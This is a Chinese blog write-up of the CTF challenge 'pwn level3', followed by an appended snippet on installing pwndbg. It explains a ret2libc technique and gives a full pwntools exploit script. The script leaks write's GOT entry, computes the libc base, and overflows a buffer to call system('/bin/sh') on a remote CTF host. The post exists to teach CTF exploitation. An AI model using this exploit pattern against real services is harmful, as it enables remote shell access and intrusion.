pwn level3

解压之后有一个level3和libc_32.so.6,拖进ida(32位)
在这里插入图片描述
主要就是这两个函数,一个write和一个read
这道题的基本思路就是通过第一次溢出将write函数在got表中的地址泄露,然后减去在libc_32.so.6中的偏移,得到基地址,在加上ibc_32.so.6中找到的system和"/bin/sh"偏移得到真实的地址,然后再执行一次main函数进行第二次溢出
对于write,system函数的偏移地址,都有多种方法可以得到
把libc_32.so.6拖进ida,可以找到write函数和system函数的偏移:
在这里插入图片描述
在这里插入图片描述
寻找"/bin/sh"(用winhex也可以找到)
在这里插入图片描述
write.plt和main.pltt可以在ida中找到
在这里插入图片描述
除了这些以外,我还从别人的wp中学到了方法,如下

from pwn import *
from LibcSeacher import *

p=remote('111.198.29.45',47340)
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')

#write_plt=0x08048340
write_plt=elf.plt['write']
write_got=elf.got['write']
#main_addr=0x08048484
main_addr=elf.symbols['main']

#填充字符+write函数地址+main函数地址+write函数的三个参数
payload1='a' * 0x8c + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendlineafter("Input:\n",payload1)

#接收write函数在got表中的地址
write_real=u32(p.recv()[:4])

#system_off=0x3a940
system_off=libc.symbols['system']
#bin_off=0x15902b
bin_off=libc.search('/bin/sh').next()
#write_off=0xd43c0
write_off=libc.symbols['write']

#计算基地址
lib_addr=write_real-write_off
#计算system地址
system_addr=lib_addr+system_off
#计算'/bin/sh'地址
bin_addr=lib_addr+bin_off

#填充字符+system地址+这里不用考虑,随意填充4个字节+'/bin/sh'地址
payload2='a'*0x8c+p32(system_addr)+'aaaa'+p32(bin_addr)
p.sendline(payload2)
p.interactive()

flag:cyberpeace{e808c04302e73cdc5159eef2dcd92f48}
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PWN领域中,ubuntu20.04是一个常见的选择。选择ubuntu20.04的原因是因为现在很多比赛的题目大部分都是libc2.27以上的,因此在自己的环境中选择升级也是可以的。你可以按照以下步骤来安装pwndbg: 1. 首先,在终端中导航到pwndbg目录。可以使用以下命令: [1] ``` cd ~/tools/pwndbg ``` 2. 接下来,运行setup.sh脚本进行安装。使用以下命令: [1] ``` ./setup.sh ``` 这样,你就可以成功安装pwndbg工具并开始使用它进行PWN题目的分析和漏洞利用了。 [1] 另外,根据引用中提到的攻防世界的pwn题目,它是一道简单的新手样本题目。然而,由于不同Linux的libc版本,可能会在ubuntu18.04和ubuntu20.04中导致一些小问题。如果你遇到漏洞利用的问题,可以参考提供的链接来解决。 [3<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建](https://blog.csdn.net/qq_41202237/article/details/118188924)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [level0 -- 攻防世界新手题](https://download.csdn.net/download/A951860555/14819952)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值